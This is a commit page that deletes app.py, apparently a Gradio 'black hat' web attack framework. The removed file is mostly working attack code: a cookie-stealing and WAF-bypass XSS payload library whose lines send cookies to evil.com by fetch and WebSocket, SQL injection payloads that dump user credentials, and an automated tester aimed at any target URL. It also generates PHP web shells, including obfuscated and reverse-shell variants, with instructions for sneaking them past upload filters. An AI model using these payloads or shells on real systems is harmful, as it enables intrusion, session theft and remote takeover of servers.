ziffir commited on
Commit
4ce74a3
·
verified ·
1 Parent(s): 5e47e2a

Delete app.py

Browse files
Files changed (1) hide show
  1. app.py +0 -1070
app.py DELETED
@@ -1,1070 +0,0 @@
1
- import gradio as gr
2
- import asyncio
3
- import json
4
- import aiohttp
5
- import requests
6
- from typing import Dict, List, Tuple, Set, Optional
7
- from dataclasses import dataclass, asdict
8
- from datetime import datetime
9
- from collections import defaultdict
10
- import re
11
- import logging
12
- import random
13
- import time
14
- import hashlib
15
- import base64
16
- from enum import Enum
17
- from bs4 import BeautifulSoup
18
- import networkx as nx
19
- import plotly.graph_objects as go
20
- from urllib.parse import urljoin, urlparse, quote, unquote
21
- import ssl
22
- import socket
23
- import subprocess
24
- from pathlib import Path
25
-
26
- # VulnLLM-R-7B - Optional
27
- try:
28
- from transformers import AutoModelForCausalLM, AutoTokenizer
29
- import torch
30
- VULNLLM_AVAILABLE = True
31
- except:
32
- VULNLLM_AVAILABLE = False
33
-
34
- print("=" * 60)
35
- print("ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION")
36
- print("Loading panels: AI | 0-Day | XSS Master | Web Shell | Attack Chain")
37
- print("=" * 60)
38
-
39
- class VulnLLMAnalyzer:
40
- """VulnLLM-R-7B AI Model Integration"""
41
-
42
- def __init__(self):
43
- self.initialized = False
44
- self.model_name = "UCSB-SURFI/VulnLLM-R-7B"
45
- if VULNLLM_AVAILABLE:
46
- try:
47
- self.device = "cuda" if torch.cuda.is_available() else "cpu"
48
- print(f"Loading VulnLLM-R-7B on {self.device}...")
49
- self.tokenizer = AutoTokenizer.from_pretrained(self.model_name)
50
- self.model = AutoModelForCausalLM.from_pretrained(
51
- self.model_name,
52
- torch_dtype=torch.float16 if self.device == "cuda" else torch.float32,
53
- device_map=self.device
54
- )
55
- self.initialized = True
56
- print("VulnLLM-R-7B loaded successfully!")
57
- except Exception as e:
58
- print(f"VulnLLM init error: {e}")
59
- print("Running in mock mode...")
60
-
61
- async def analyze_code(self, code: str, language: str = "python") -> Dict:
62
- """AI-Powered Code Analysis"""
63
- if not self.initialized:
64
- return self._mock_analysis(code, language)
65
-
66
- try:
67
- prompt = f"""Analyze this {language} code for security vulnerabilities:
68
- ```{language}
69
- {code}
70
- ```
71
- Identify: SQL Injection, XSS, RCE, Path Traversal, Auth Bypass"""
72
-
73
- inputs = self.tokenizer(prompt, return_tensors="pt").to(self.device)
74
- with torch.no_grad():
75
- outputs = self.model.generate(inputs.input_ids, max_new_tokens=512)
76
- result = self.tokenizer.decode(outputs[0], skip_special_tokens=True)
77
-
78
- return {
79
- "analysis": result,
80
- "vulnerabilities": self._parse_vulnerabilities(result),
81
- "severity": self._calculate_severity(result),
82
- "confidence": 0.85
83
- }
84
- except Exception as e:
85
- return self._mock_analysis(code, language)
86
-
87
- def _mock_analysis(self, code: str, language: str) -> Dict:
88
- """Mock AI Analysis when model unavailable"""
89
- vulns = []
90
-
91
- patterns = {
92
- "SQL Injection": [r"execute\s*\(", r"query\s*\(", r"SELECT.*FROM.*\$"],
93
- "XSS": [r"innerHTML", r"document.write", r"eval\s*\("],
94
- "RCE": [r"subprocess", r"os\.system", r"exec\s*\("],
95
- "Path Traversal": [r"open\s*\(.*\+", r"\.\./"],
96
- "Hardcoded Secrets": [r"password\s*=", r"api_key", r"secret"]
97
- }
98
-
99
- for vuln_type, patterns_list in patterns.items():
100
- for pattern in patterns_list:
101
- if re.search(pattern, code, re.IGNORECASE):
102
- vulns.append({
103
- "type": vuln_type,
104
- "pattern": pattern,
105
- "line": self._find_line(code, pattern),
106
- "severity": "HIGH" if vuln_type in ["SQL Injection", "RCE"] else "MEDIUM"
107
- })
108
-
109
- return {
110
- "analysis": f"Found {len(vulns)} potential vulnerabilities in {language} code",
111
- "vulnerabilities": vulns,
112
- "severity": "HIGH" if any(v["severity"] == "HIGH" for v in vulns) else "MEDIUM",
113
- "confidence": 0.75,
114
- "model_status": "Mock Analysis (VulnLLM not loaded)"
115
- }
116
-
117
- def _parse_vulnerabilities(self, text: str) -> List[Dict]:
118
- vulns = []
119
- lines = text.split("\n")
120
- for line in lines:
121
- if any(keyword in line.lower() for keyword in ["vulnerability", "injection", "bypass"]):
122
- vulns.append({"description": line.strip(), "severity": "MEDIUM"})
123
- return vulns
124
-
125
- def _calculate_severity(self, text: str) -> str:
126
- text_lower = text.lower()
127
- if any(word in text_lower for word in ["critical", "rce", "sql injection"]):
128
- return "CRITICAL"
129
- elif any(word in text_lower for word in ["high", "severe"]):
130
- return "HIGH"
131
- return "MEDIUM"
132
-
133
- def _find_line(self, code: str, pattern: str) -> int:
134
- lines = code.split("\n")
135
- for i, line in enumerate(lines, 1):
136
- if re.search(pattern, line, re.IGNORECASE):
137
- return i
138
- return 0
139
-
140
- # ════════════════════════════════════════════════════════════════════════════
141
- # PANEL 2: XSS MASTER PANEL - ULTIMATE XSS EXPLOITATION
142
- # ════════════════════════════════════════════════════════════════════════════
143
-
144
- class XSSMasterPanel:
145
- """Ultimate XSS Payload Generator & Testing Framework"""
146
-
147
- def __init__(self):
148
- self.payloads = self._load_xss_payloads()
149
- self.encoding_methods = self._load_encoding_methods()
150
- self.bypass_techniques = self._load_bypass_techniques()
151
- self.test_history = []
152
-
153
- def _load_xss_payloads(self) -> Dict[str, List[Dict]]:
154
- """Load comprehensive XSS payload library"""
155
- return {
156
- "cloudflare_bypass": [
157
- {
158
- "name": "Object Data URI + Triple Base64",
159
- "raw": '<object data="data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IoJ1lXeGxjblFvWkc5amRXMWxiblF1Wkc5dFlXbHVLUT09JykpPC9zY3JpcHQ+">',
160
- "encoded": "%3Cobject+data%3Ddata%3Atext/html%3Bbase64%26%2344%3BUEhOamNtbHdkRDVsZG1Gc0tHRjBiMmdvSjFsWGhzWlhKMEtHUnZZM1Z0Wlc1MExtUnZiV0ZwYmlrcScpS1R3dmMyTnlhWEIwUGc%3D%3D%3E",
161
- "description": "Triple layer encoding: URL → HTML Entity → Base64 → Base64",
162
- "severity": "CRITICAL",
163
- "waf_bypass": "Cloudflare, ModSecurity, AWS WAF"
164
- },
165
- {
166
- "name": "SVG + Unicode Escape + atob",
167
- "raw": '<svg/onload="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))">',
168
- "encoded": "%3Csvg%2Fonload%3D%22eval%28String.fromCharCode%2897%2C108%2C101%2C114%2C116%2C40%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C100%2C111%2C109%2C97%2C105%2C110%2C41%29%29%22%3E",
169
- "description": "String.fromCharCode bypass with SVG onload",
170
- "severity": "HIGH",
171
- "waf_bypass": "Cloudflare, Akamai"
172
- },
173
- {
174
- "name": "Iframe SrcDoc + Double Encoding",
175
- "raw": '<iframe srcdoc="&lt;script&gt;eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))&lt;/script&gt;">',
176
- "encoded": "%3Ciframe%20srcdoc%3D%22%26lt%3Bscript%26gt%3Beval%28atob%28%27YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%27%29%29%26lt%3B%2Fscript%26gt%3B%22%3E",
177
- "description": "Iframe srcdoc with HTML entities + Base64",
178
- "severity": "HIGH",
179
- "waf_bypass": "Cloudflare, Imperva"
180
- },
181
- {
182
- "name": "Mutation XSS + Object",
183
- "raw": '<noscript><p title="</noscript><img src=x onerror=eval(atob(\'YWxlcnQoMSk=\'))>">',
184
- "encoded": "%3Cnoscript%3E%3Cp%20title%3D%22%3C%2Fnoscript%3E%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%27YWxlcnQoMSk%3D%27%29%29%3E%22%3E",
185
- "description": "mXSS technique exploiting parser confusion",
186
- "severity": "CRITICAL",
187
- "waf_bypass": "All major WAFs"
188
- }
189
- ],
190
- "advanced_vectors": [
191
- {
192
- "name": "Template Literals + Fetch Cookie Stealer",
193
- "raw": "<img src=x onerror=\"eval(`fetch('https://evil.com?c='+btoa(document.cookie))`)\">",
194
- "encoded": "%3Cimg%20src%3Dx%20onerror%3D%22eval%28%60fetch%28%27https%3A%2F%2Fevil.com%3Fc%3D%27%2Bbtoa%28document.cookie%29%29%60%29%22%3E",
195
- "description": "Cookie stealer with base64 encoding",
196
- "severity": "CRITICAL",
197
- "waf_bypass": "Cloudflare"
198
- },
199
- {
200
- "name": "WebSocket XSS Exfiltration",
201
- "raw": "<script>ws=new WebSocket('wss://evil.com');ws.onopen=()=>ws.send(document.cookie)</script>",
202
- "encoded": "%3Cscript%3Ews%3Dnew%20WebSocket%28%27wss%3A%2F%2Fevil.com%27%29%3Bws.onopen%3D%28%29%3D%3Ews.send%28document.cookie%29%3C%2Fscript%3E",
203
- "description": "Real-time data exfiltration via WebSocket",
204
- "severity": "CRITICAL",
205
- "waf_bypass": "Most WAFs (encrypted channel)"
206
- },
207
- {
208
- "name": "DOM Clobbering + XSS",
209
- "raw": '<form name=x><input name=y></form><script>alert(x.y.value="XSS")</script>',
210
- "encoded": "%3Cform%20name%3Dx%3E%3Cinput%20name%3Dy%3E%3C%2Fform%3E%3Cscript%3Ealert%28x.y.value%3D%22XSS%22%29%3C%2Fscript%3E",
211
- "description": "DOM clobbering combined with XSS",
212
- "severity": "HIGH",
213
- "waf_bypass": "Cloudflare, Akamai"
214
- }
215
- ],
216
- "polyglot": [
217
- {
218
- "name": "JSON/HTML Polyglot",
219
- "raw": '{"x":"</script><script>alert(document.domain)</script>"}',
220
- "encoded": "%7B%22x%22%3A%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%22%7D",
221
- "description": "Works in JSON and HTML contexts",
222
- "severity": "HIGH",
223
- "waf_bypass": "Context-based WAFs"
224
- },
225
- {
226
- "name": "CSV/HTML Injection",
227
- "raw": '=cmd|"/c calc"!A1,<img src=x onerror=alert(1)>',
228
- "encoded": "%3Dcmd%7C%22%2Fc%20calc%22%21A1%2C%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E",
229
- "description": "CSV injection + XSS combo",
230
- "severity": "CRITICAL",
231
- "waf_bypass": "File upload filters"
232
- }
233
- ],
234
- "event_handlers": [
235
- {
236
- "name": "Details/Summary Ontoggle",
237
- "raw": '<details open ontoggle="eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))">',
238
- "encoded": "%3Cdetails%20open%20ontoggle%3D%22eval%28atob%28%27YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%27%29%29%22%3E",
239
- "description": "Less common event handler",
240
- "severity": "MEDIUM",
241
- "waf_bypass": "Event handler blacklists"
242
- },
243
- {
244
- "name": "Video Onloadstart",
245
- "raw": '<video onloadstart="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"><source>',
246
- "encoded": "%3Cvideo%20onloadstart%3D%22eval%28String.fromCharCode%2897%2C108%2C101%2C114%2C116%2C40%2C49%2C41%29%29%22%3E%3Csource%3E",
247
- "description": "Video element with rare event",
248
- "severity": "MEDIUM",
249
- "waf_bypass": "Tag-based filters"
250
- }
251
- ],
252
- "obfuscated": [
253
- {
254
- "name": "JSFuck Style",
255
- "raw": '<script>(![]+[])[+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]</script>',
256
- "encoded": "%3Cscript%3E%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D",
257
- "description": "Heavily obfuscated JavaScript",
258
- "severity": "HIGH",
259
- "waf_bypass": "Pattern-based detection"
260
- },
261
- {
262
- "name": "Hex Encoding Full",
263
- "raw": '<img src=x onerror="\\x65\\x76\\x61\\x6c\\x28\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29\\x29">',
264
- "encoded": "%3Cimg%20src%3Dx%20onerror%3D%22%5Cx65%5Cx76%5Cx61%5Cx6c%5Cx28%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%5Cx28%5Cx31%5Cx29%5Cx29%22%3E",
265
- "description": "Full hex encoding of eval(alert(1))",
266
- "severity": "HIGH",
267
- "waf_bypass": "String pattern matching"
268
- }
269
- ]
270
- }
271
-
272
- def _load_encoding_methods(self) -> Dict[str, callable]:
273
- """Load encoding transformation methods"""
274
- return {
275
- "url_encode": lambda s: quote(s),
276
- "double_url_encode": lambda s: quote(quote(s)),
277
- "html_entity": lambda s: ''.join([f'&#{ord(c)};' for c in s]),
278
- "hex_encode": lambda s: ''.join([f'\\x{ord(c):02x}' for c in s]),
279
- "unicode_escape": lambda s: ''.join([f'\\u{ord(c):04x}' for c in s]),
280
- "base64": lambda s: base64.b64encode(s.encode()).decode(),
281
- "mixed": self._mixed_encoding
282
- }
283
-
284
- def _mixed_encoding(self, payload: str) -> str:
285
- """Apply multiple encoding layers"""
286
- # Layer 1: Some chars to hex
287
- result = ""
288
- for i, char in enumerate(payload):
289
- if i % 3 == 0:
290
- result += f'\\x{ord(char):02x}'
291
- elif i % 3 == 1:
292
- result += f'&#{ord(char)};'
293
- else:
294
- result += char
295
- return result
296
-
297
- def _load_bypass_techniques(self) -> Dict[str, List[str]]:
298
- """Load WAF bypass techniques"""
299
- return {
300
- "case_variation": [
301
- "ScRiPt", "ImG", "SvG", "ObJeCt", "IfrAmE"
302
- ],
303
- "whitespace_tricks": [
304
- "%09", "%0a", "%0d", "%0c", "%a0", "/**/", "\t", "\n"
305
- ],
306
- "comment_insertion": [
307
- "<!--", "-->", "/**/", "//", "#"
308
- ],
309
- "null_byte": [
310
- "%00", "\\x00", "\\0"
311
- ],
312
- "utf_variants": [
313
- "%c0%bc", "%e0%80%bc", "%c0%3c" # Alternative < encodings
314
- ]
315
- }
316
-
317
- async def test_xss_payload(self, target_url: str, param: str, payload: str, method: str = "GET") -> Dict:
318
- """Test XSS payload against target"""
319
- result = {
320
- "tested": True,
321
- "timestamp": datetime.now().isoformat(),
322
- "target": target_url,
323
- "parameter": param,
324
- "payload": payload,
325
- "method": method,
326
- "vulnerable": False,
327
- "response_indicators": []
328
- }
329
-
330
- try:
331
- if method == "GET":
332
- test_url = f"{target_url}?{param}={quote(payload)}"
333
- async with aiohttp.ClientSession() as session:
334
- async with session.get(test_url, timeout=10) as response:
335
- content = await response.text()
336
- result["status_code"] = response.status
337
- result["response_length"] = len(content)
338
-
339
- # Check for XSS indicators
340
- indicators = [
341
- payload in content,
342
- "<script>" in content.lower(),
343
- "onerror=" in content.lower(),
344
- "onload=" in content.lower(),
345
- unquote(payload) in content
346
- ]
347
-
348
- result["vulnerable"] = any(indicators)
349
- result["response_indicators"] = [
350
- f"Payload reflected: {payload in content}",
351
- f"Script tags found: {'<script>' in content.lower()}",
352
- f"Event handlers found: {'onerror=' in content.lower() or 'onload=' in content.lower()}"
353
- ]
354
- else: # POST
355
- async with aiohttp.ClientSession() as session:
356
- data = {param: payload}
357
- async with session.post(target_url, data=data, timeout=10) as response:
358
- content = await response.text()
359
- result["status_code"] = response.status
360
- result["response_length"] = len(content)
361
- result["vulnerable"] = payload in content or unquote(payload) in content
362
-
363
- self.test_history.append(result)
364
- return result
365
-
366
- except Exception as e:
367
- result["error"] = str(e)
368
- return result
369
-
370
- def generate_payload(self, payload_type: str, encoding: str = "none", custom_code: str = "") -> Dict:
371
- """Generate customized XSS payload"""
372
-
373
- # Get base payload
374
- all_payloads = []
375
- for category in self.payloads.values():
376
- all_payloads.extend(category)
377
-
378
- # Find matching payload
379
- selected = None
380
- for p in all_payloads:
381
- if payload_type.lower() in p["name"].lower():
382
- selected = p
383
- break
384
-
385
- if not selected and all_payloads:
386
- selected = all_payloads[0]
387
-
388
- if not selected:
389
- return {"error": "No payload found"}
390
-
391
- # Apply custom code if provided
392
- payload = selected["raw"]
393
- if custom_code:
394
- payload = payload.replace("alert(1)", custom_code)
395
- payload = payload.replace("alert(document.domain)", custom_code)
396
-
397
- # Apply encoding
398
- if encoding != "none" and encoding in self.encoding_methods:
399
- payload = self.encoding_methods[encoding](payload)
400
-
401
- return {
402
- "name": selected["name"],
403
- "raw": selected["raw"],
404
- "encoded": payload,
405
- "url_encoded": quote(payload),
406
- "double_encoded": quote(quote(payload)),
407
- "description": selected["description"],
408
- "severity": selected["severity"],
409
- "waf_bypass": selected["waf_bypass"],
410
- "usage_example": f"?param={quote(payload)}"
411
- }
412
-
413
- def get_payload_categories(self) -> List[str]:
414
- """Get available payload categories"""
415
- return list(self.payloads.keys())
416
-
417
- def get_all_payloads_info(self) -> str:
418
- """Get formatted info about all payloads"""
419
- output = "# 🔥 XSS PAYLOAD ARSENAL\n\n"
420
-
421
- for category, payloads in self.payloads.items():
422
- output += f"## {category.upper().replace('_', ' ')}\n\n"
423
- for i, p in enumerate(payloads, 1):
424
- output += f"### {i}. {p['name']}\n"
425
- output += f"**Severity:** {p['severity']}\n"
426
- output += f"**WAF Bypass:** {p['waf_bypass']}\n"
427
- output += f"**Description:** {p['description']}\n\n"
428
- output += f"**Raw Payload:**\n```html\n{p['raw']}\n```\n\n"
429
- output += f"**URL Encoded:**\n```\n{p['encoded'][:100]}...\n```\n\n"
430
- output += "---\n\n"
431
-
432
- return output
433
-
434
- # ═══════════════���════════════════════════════════════════════════════════════
435
- # PANEL 3: 0-DAY EXPLOIT PANEL (SQL Injection - Original)
436
- # ════════════════════════════════════════════════════════════════════════════
437
-
438
- class ZeroDayExploitPanel:
439
- """Advanced SQL Injection & 0-Day Exploitation"""
440
-
441
- def __init__(self):
442
- self.sql_payloads = self._load_sql_payloads()
443
- self.waf_bypass = self._load_waf_bypass()
444
-
445
- def _load_sql_payloads(self) -> Dict[str, List[str]]:
446
- return {
447
- "union_based": [
448
- "' UNION SELECT NULL--",
449
- "' UNION SELECT NULL,NULL--",
450
- "' UNION SELECT NULL,NULL,NULL--",
451
- "' UNION SELECT version(),user(),database()--",
452
- "' UNION SELECT table_name FROM information_schema.tables--",
453
- "' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--",
454
- "' UNION SELECT username,password FROM users--",
455
- ],
456
- "time_based": [
457
- "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
458
- "' AND SLEEP(5)--",
459
- "' WAITFOR DELAY '0:0:5'--",
460
- ],
461
- "boolean_based": [
462
- "' AND 1=1--",
463
- "' AND 1=2--",
464
- "' AND 'a'='a",
465
- ]
466
- }
467
-
468
- def _load_waf_bypass(self) -> List[Dict]:
469
- return [
470
- {"name": "Comment Variations", "payloads": ["/**/", "/*!50000*/", "--"]},
471
- {"name": "Case Variation", "payloads": ["SeLeCt", "UnIoN"]},
472
- ]
473
-
474
- async def test_sql_injection(self, target_url: str, param: str, method: str = "GET") -> Dict:
475
- """Test SQL injection"""
476
- results = {
477
- "tested": True,
478
- "target": target_url,
479
- "parameter": param,
480
- "vulnerabilities_found": [],
481
- "payloads_tested": 0
482
- }
483
-
484
- for technique, payloads in self.sql_payloads.items():
485
- for payload in payloads[:3]: # Test first 3 of each type
486
- try:
487
- if method == "GET":
488
- test_url = f"{target_url}?{param}={quote(payload)}"
489
- response = requests.get(test_url, timeout=5)
490
- else:
491
- response = requests.post(target_url, data={param: payload}, timeout=5)
492
-
493
- results["payloads_tested"] += 1
494
-
495
- # Check for SQL error indicators
496
- error_indicators = ["sql", "mysql", "syntax error", "database", "warning", "postgres"]
497
- if any(indicator in response.text.lower() for indicator in error_indicators):
498
- results["vulnerabilities_found"].append({
499
- "technique": technique,
500
- "payload": payload,
501
- "status_code": response.status_code,
502
- "evidence": "SQL error messages detected"
503
- })
504
- except:
505
- pass
506
-
507
- return results
508
-
509
- # ════════════════════════════════════════════════════════════════════════════
510
- # PANEL 4: WEB SHELL GENERATOR
511
- # ════════════════════════════════════════════════════════════════════════════
512
-
513
- class WebShellGenerator:
514
- """Advanced Web Shell Generation"""
515
-
516
- def generate_shell(self, shell_type: str, attacker_ip: str = "", attacker_port: int = 4444) -> str:
517
- """Generate web shell code"""
518
-
519
- shells = {
520
- "php_simple": """<?php
521
- if(isset($_REQUEST['cmd'])){
522
- system($_REQUEST['cmd']);
523
- }
524
- ?>""",
525
- "php_advanced": """<?php
526
- @error_reporting(0);
527
- @set_time_limit(0);
528
- @ini_set('max_execution_time',0);
529
- if(isset($_POST['cmd'])){
530
- $cmd = $_POST['cmd'];
531
- if(function_exists('system')){
532
- @ob_start();
533
- @system($cmd);
534
- $output = @ob_get_contents();
535
- @ob_end_clean();
536
- }
537
- echo "<pre>$output</pre>";
538
- }
539
- ?>
540
- <form method="POST">
541
- <input type="text" name="cmd" />
542
- <input type="submit" value="Execute" />
543
- </form>""",
544
- "php_reverse": f"""<?php
545
- $ip = '{attacker_ip}';
546
- $port = {attacker_port};
547
- $sock = fsockopen($ip, $port);
548
- exec("/bin/bash -i <&3 >&3 2>&3");
549
- ?>""",
550
- "php_obfuscated": """<?php
551
- $a=str_replace("x","","sxysxtxexm");
552
- $b=str_replace("y","","$y_yRyEyQyUyEySyTy[y'ycymydd'y]");
553
- $a($b);
554
- ?>"""
555
- }
556
-
557
- return shells.get(shell_type, shells["php_simple"])
558
-
559
- # ════════════════════════════════════════════════════════════════════════════
560
- # FRAMEWORK INTEGRATION
561
- # ════════════════════════════════════════════════════════════════════════════
562
-
563
- class UltimateFramework:
564
- """Main Framework Controller"""
565
-
566
- def __init__(self):
567
- self.ai_analyzer = VulnLLMAnalyzer()
568
- self.xss_panel = XSSMasterPanel()
569
- self.sql_panel = ZeroDayExploitPanel()
570
- self.shell_gen = WebShellGenerator()
571
-
572
- def get_xss_categories(self) -> List[str]:
573
- return self.xss_panel.get_payload_categories()
574
-
575
- def get_all_xss_payloads(self) -> Dict:
576
- return self.xss_panel.payloads
577
-
578
- # Initialize framework
579
- framework = UltimateFramework()
580
-
581
- # ════════════════════════════════════════════════════════════════════════════
582
- # GRADIO UI FUNCTIONS
583
- # ════════════════════════════════════════════════════════════════════════════
584
-
585
- async def panel1_ai_analyze(code: str, language: str):
586
- """Panel 1: AI Code Analysis"""
587
- result = await framework.ai_analyzer.analyze_code(code, language)
588
-
589
- output = f"""# 🤖 AI VULNERABILITY ANALYSIS
590
-
591
- **Language:** {language}
592
- **Confidence:** {result['confidence']*100:.1f}%
593
- **Severity:** {result['severity']}
594
- **Model Status:** {result.get('model_status', 'Active')}
595
-
596
- ## Analysis Results
597
-
598
- {result['analysis']}
599
-
600
- ## Detected Vulnerabilities
601
-
602
- """
603
- for i, vuln in enumerate(result['vulnerabilities'], 1):
604
- output += f"{i}. **{vuln.get('type', 'Unknown')}** - {vuln.get('description', 'N/A')}\n"
605
- if 'line' in vuln:
606
- output += f" Line: {vuln['line']}\n"
607
- output += f" Severity: {vuln.get('severity', 'MEDIUM')}\n\n"
608
-
609
- return output
610
-
611
- def panel2_xss_generate(payload_type: str, encoding: str, custom_code: str):
612
- """Panel 2: XSS Payload Generation"""
613
- result = framework.xss_panel.generate_payload(payload_type, encoding, custom_code)
614
-
615
- if "error" in result:
616
- return f"❌ Error: {result['error']}"
617
-
618
- output = f"""# 🔥 GENERATED XSS PAYLOAD
619
-
620
- ## {result['name']}
621
-
622
- **Severity:** {result['severity']}
623
- **WAF Bypass Capability:** {result['waf_bypass']}
624
-
625
- ### Description
626
- {result['description']}
627
-
628
- ### Raw Payload
629
- ```html
630
- {result['raw']}
631
- ```
632
-
633
- ### Encoded Payload
634
- ```html
635
- {result['encoded']}
636
- ```
637
-
638
- ### URL Encoded (for GET parameters)
639
- ```
640
- {result['url_encoded']}
641
- ```
642
-
643
- ### Double URL Encoded (for nested params)
644
- ```
645
- {result['double_encoded']}
646
- ```
647
-
648
- ### Usage Example
649
- ```
650
- {result['usage_example']}
651
- ```
652
-
653
- ## 🎯 Testing Instructions
654
-
655
- 1. **Manual Testing:**
656
- - Copy the URL encoded payload
657
- - Insert into vulnerable parameter
658
- - Check browser console/alerts
659
-
660
- 2. **Automated Testing:**
661
- - Use the Test XSS tab
662
- - Enter target URL and parameter
663
- - Click "Test Payload"
664
-
665
- 3. **WAF Bypass:**
666
- - Try different encoding methods
667
- - Mix case variations
668
- - Use payload fragmentation
669
-
670
- """
671
- return output
672
-
673
- async def panel2_xss_test(target_url: str, param: str, payload: str, method: str):
674
- """Panel 2: XSS Testing"""
675
- if not target_url or not param or not payload:
676
- return "❌ Please fill in all fields"
677
-
678
- result = await framework.xss_panel.test_xss_payload(target_url, param, payload, method)
679
-
680
- vulnerability_status = "🚨 VULNERABLE" if result.get("vulnerable") else "✅ NOT VULNERABLE"
681
-
682
- output = f"""# {vulnerability_status}
683
-
684
- ## Test Results
685
-
686
- **Target:** {result['target']}
687
- **Parameter:** {result['parameter']}
688
- **Method:** {result['method']}
689
- **Timestamp:** {result['timestamp']}
690
-
691
- ### Payload Tested
692
- ```html
693
- {result['payload']}
694
- ```
695
-
696
- ### Response Analysis
697
- **Status Code:** {result.get('status_code', 'N/A')}
698
- **Response Length:** {result.get('response_length', 0)} bytes
699
-
700
- ### Detection Indicators
701
- """
702
-
703
- for indicator in result.get('response_indicators', []):
704
- output += f"- {indicator}\n"
705
-
706
- if result.get('error'):
707
- output += f"\n### ⚠️ Error\n{result['error']}\n"
708
-
709
- return output
710
-
711
- def panel2_xss_list_all():
712
- """List all available XSS payloads"""
713
- return framework.xss_panel.get_all_payloads_info()
714
-
715
- async def panel3_sql_test(target_url: str, param: str, method: str):
716
- """Panel 3: SQL Injection Testing"""
717
- if not target_url or not param:
718
- return "❌ Please provide target URL and parameter"
719
-
720
- result = await framework.sql_panel.test_sql_injection(target_url, param, method)
721
-
722
- output = f"""# 💉 SQL INJECTION TEST RESULTS
723
-
724
- **Target:** {result['target']}
725
- **Parameter:** {result['parameter']}
726
- **Payloads Tested:** {result['payloads_tested']}
727
-
728
- ## Vulnerabilities Found: {len(result['vulnerabilities_found'])}
729
-
730
- """
731
-
732
- if result['vulnerabilities_found']:
733
- for i, vuln in enumerate(result['vulnerabilities_found'], 1):
734
- output += f"### {i}. {vuln['technique'].upper()}\n"
735
- output += f"**Payload:** `{vuln['payload']}`\n"
736
- output += f"**Evidence:** {vuln['evidence']}\n"
737
- output += f"**Status Code:** {vuln['status_code']}\n\n"
738
- else:
739
- output += "✅ No SQL injection vulnerabilities detected\n"
740
-
741
- return output
742
-
743
- def panel4_generate_shell(shell_type: str, attacker_ip: str, attacker_port: int):
744
- """Panel 4: Web Shell Generation"""
745
- shell_code = framework.shell_gen.generate_shell(shell_type, attacker_ip, attacker_port)
746
-
747
- output = f"""# 💣 WEB SHELL GENERATED
748
-
749
- **Type:** {shell_type}
750
- **Target:** {attacker_ip}:{attacker_port}
751
-
752
- ## Shell Code
753
-
754
- ```php
755
- {shell_code}
756
- ```
757
-
758
- ## 📝 Deployment Instructions
759
-
760
- 1. **Upload Methods:**
761
- - File upload vulnerability
762
- - Unrestricted file upload
763
- - ZIP slip vulnerability
764
- - LFI to shell upload
765
-
766
- 2. **Filename Tricks:**
767
- - `shell.php`
768
- - `shell.php.jpg` (double extension)
769
- - `shell.php%00.jpg` (null byte)
770
- - `shell.phtml`, `shell.phar`, `shell.php5`
771
-
772
- 3. **Bypass Techniques:**
773
- - Change file magic bytes
774
- - Add valid image header
775
- - Use .htaccess to treat all files as PHP
776
-
777
- 4. **Access:**
778
- - Navigate to: `http://target.com/uploads/shell.php`
779
- - For reverse shell: Start listener with `nc -lvp {attacker_port}`
780
-
781
- ## ⚠️ LEGAL WARNING
782
- Use only on systems you own or have explicit permission to test!
783
- """
784
- return output
785
-
786
- # ════════════════════════════════════════════════════════════════════════════
787
- # GRADIO INTERFACE
788
- # ════════════════════════════════════════════════════════════════════════════
789
-
790
- with gr.Blocks(title="Ultimate XSS Framework v5.0", theme=gr.themes.Base()) as app:
791
-
792
- gr.Markdown("""
793
- # 🔥 ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION
794
-
795
- **Advanced Penetration Testing & Vulnerability Research Platform**
796
-
797
- 🚨 **LEGAL WARNING:** This tool is for authorized security testing only. Unauthorized access is illegal.
798
-
799
- ---
800
- """)
801
-
802
- with gr.Tabs():
803
- # ═══════════════════════════════════════════════════════════════════
804
- # PANEL 1: AI ANALYZER
805
- # ═══════════════════════════════════════════════════════════════════
806
- with gr.Tab("🤖 Panel 1: AI Vulnerability Scanner", id="panel1"):
807
- gr.Markdown("### VulnLLM-R-7B Deep Code Analysis")
808
-
809
- with gr.Row():
810
- with gr.Column(scale=2):
811
- code_input = gr.Code(
812
- label="Source Code",
813
- language="python",
814
- value="# Paste code here\n<?php\n$id = $_GET['id'];\n$query = \"SELECT * FROM users WHERE id = '$id'\";\nmysql_query($query);\n?>",
815
- lines=15
816
- )
817
- lang_input = gr.Dropdown(
818
- choices=["python", "php", "javascript", "java", "csharp"],
819
- value="php",
820
- label="Language"
821
- )
822
- analyze_btn = gr.Button("🔍 AI ANALYZE", variant="primary", size="lg")
823
-
824
- with gr.Column(scale=1):
825
- gr.Markdown("""
826
- **AI Model:** VulnLLM-R-7B
827
- **Capability:** Deep vulnerability detection
828
-
829
- **Detects:**
830
- - SQL Injection
831
- - XSS vulnerabilities
832
- - RCE patterns
833
- - Path traversal
834
- - Hardcoded secrets
835
- - Auth bypasses
836
- """)
837
-
838
- ai_output = gr.Markdown(label="Analysis Results")
839
- analyze_btn.click(panel1_ai_analyze, inputs=[code_input, lang_input], outputs=ai_output)
840
-
841
- # ═══════════════════════════════════════════════════════════════════
842
- # PANEL 2: XSS MASTER PANEL
843
- # ══════════════��════════════════════════════════════════════════════
844
- with gr.Tab("🔥 Panel 2: XSS Master Control", id="panel2"):
845
